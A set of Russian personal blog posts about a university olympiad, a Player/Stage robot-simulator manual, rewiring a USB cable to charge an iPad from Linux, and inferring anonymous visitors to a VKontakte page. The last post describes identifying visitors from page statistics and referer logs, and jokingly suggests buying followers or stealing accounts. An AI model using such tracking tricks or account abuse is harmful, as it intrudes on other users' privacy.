В вузе ежегодно проходила олимпиада по математике. Награждали почетной грамотой и бонусом на экзамене. Участвовала 1 раз, дали грамоту за решенную только мной задачу. Впрочем, на такой олимпиаде всем вручали только грамоты. А вот 1 раз провели олимпиаду по ИТ, я тогда уже выпускалась. Помимо грамот, за первые три места дарили ноут, планшет и телефон. Что вызывает подозрения: ради чего они потратили деньги? Они точно что-то от нас хотят. Хмммм…
Я заняла 2 место, из-за чего обо мне сразу неожиданно узнала вся администрация вуза. Помимо этого, меня обьявили очень хорошей девочкой и вообще чуть-ли не святой. При любом удобном случае обьявляли во всеуслышание какое место я заняла. За 2 место мне достался маленький IPad с ретиной.

На вручении дипломов обнаружилось, что кто-то натупил и к моему диплому с отличием положили синюю обложку. Её пришлось менять через день.

Возможно, это как-то связано с казино, но вуз поглотил МИРЭА. МГУПИ помер, товарищи! Привет, диплом несуществующего вуза!

Выводы.
1. Не при каких условиях не отдавай оригинал аттестата при подаче заявления.
2. Не учили, но и почти не мешали.
3. Доебывай всех и вся, чтобы добиться ответа на свой вопрос!
4. Получить красный диплом не сложно.

В следущей серии расскажу как запилился диплом.

Мой Друг, мне более нечему учить тебя.. Прими моё благословение, и странствуй в Мире! Ты хорошо усвоил Учение странников, и ты уже не собьёшься с Пути..

Симулятор роботов Player/Stage

Года полтора назад я работала в вузе лаборантом на кафедре. А на кафедре занимались разработкой роботов. И дали мне задание разобраться с симулятором Player/Stage, а именно перевести ман, сделать тестовую прожку ну и ман по установке.
И работает это только на линуксах.

Собственно про эту хреновину.

Player/Stage — это инструментарий моделирования робота, состоящий из одной программы —
Player, представляющей собой уровень абстрактных аппаратных средств. Это означает, что
он взаимодействует с элементами оборудования робота (такими как щуп или камера) и
позволяет управлять ими с помощью программного кода, то есть вам не нужно беспокоиться
о порядке работы различных элементов робота. Stage представляет собой плагин для Player,
который воспринимает команды и транслирует их в инструкции для выполнения роботом.
Player также моделирует датчики робота и передает их Stage, который делает данные с
датчика доступными в коде.

Все это было сделано, ожидала когда мне дадут проектную группу чтобы коллективно совершить большой запил.. но вуз такой вуз и в итоге проект был отложен на завтра.. через неделю.. потом. Ну и вот года полтора он никому не надо. Удалить жалко и никому не нужен. Может тут кому-то понадобиться 🙂

Рекомендую юзать или Fedora или Gentoo у них эта тулза из коробки. А вот с той же Ubuntu ужасные пляски с бубном.

В мане ссылки с моего бложека не валид. Юзаем эти

Переведенный ман
Ман в подлиннике
Ман по установке

Костыль II

В прошлый раз был зопил ради зарядки телефона. Кто не читал, не помнит смотрим тут.

А теперь об нынешнем зопиле. Дело было так. Задарил мне вуз Ipad mini за олимпиаду, но он не хотел заряжаться от лаптопа с linux. Ну вообще никак не хотел. dmesg ругался, матерился как-то вот так:

[1402816.444635] ipheth 3-1:4.2: Apple iPhone USB Ethernet device attached
[1402818.238639] IPv6: ADDRCONF(NETDEV_UP): eth1: link is not ready

Сначала я пыталась сделать по нормальному. Честно и долго пыталась, но хрен. Оригинальный кабель мне было почему-то жалко. А вот провод за 200 рублей из Ашана мне ничуть не жалко. И я решила его вскрыть и замкнуть data проводки. В прочем все как и в тот раз. Только провод теперь белый и черной изолентой. А вот кстати чем он отличается от оригинального, кроме того, что китайский, так это пожалуй материалом из которого сделан экран. У китайского он из фольги (кто бы сомневался), а вот у оригинального какоето плетение из маленьких жилок. К большой удаче цвет проводов был по стандарту.

А теперь фотачки


DSC_0451


DSC_0453

В поисках анонима вконтакте

Вконтакте утверждает что узнать кто посещал страничку нельзя.

guest

















Приложения, которые отображают гостей показывают лишь тех кто кликнул по реф-ссылке.
Все онлайн сервисы, по запросу «кто посещал страницу вк» ложь пиздеж и провокация.

Для избранных юзеров, под левой колонкой на странице, под аудиозаписями появляется ссылка «Статистика страницы». Но стать избранным можно лишь набрав 300 подписчиков.

А где взять 300 подписчиков? Ну, например прогулятся по ачату с огнем и вилами в поисках торговцев подписчиками. Юзать обменники (в приложениях вк есть таковые), украсть 300 страниц, регнуть 300 страниц, поставить на аватарку красивую девушку, стать по какой-то причине популярным персонажем…

А вот как выглядит статистика
А если нажать «В виде графиков», то еще интереснее — знаем когда к нам приходили.

statat



А теперь ловим гостей за мышку.

На первый взгляд не дает никакой конкретной инфы. Ну город и чо? А вот чо..

Многие товарисчи юзают в качестве города экзотику, что-то типа Canbera, London.. Или друзяшки из области, которые конечно указали название города в соответствующей графе — Пушкино, Подольск. С другими городами все вполне очевидно. Допустим у тебя все друзья из Сибири и одна irenica из Москвы и в стате мелькает Москва, то можем предположить, что irenica бродит у вас по странице.

Примерно так же с возрастом и полом.

Рассмотрим на примере Canabera в моей статистике


canbera




canbera1

При длительном наблюдении за статистикой появляется примерная картина посетителей.

Анониму на заметку
Одно время (примерно год назад) в статистике мелькал город с пустым названием, только цветной квадратик. Добивалось отсутствием заполненного поля в анкете. Сейчас они просто не отображаются.

А если добавить логи от блога, то и переходы из диалогов будут, а это id всех участников, ибо away.php на первый переход не срабатывает.
В поле рефер будет что-то вроде http://vk.com/im?peers=id1&sel=id2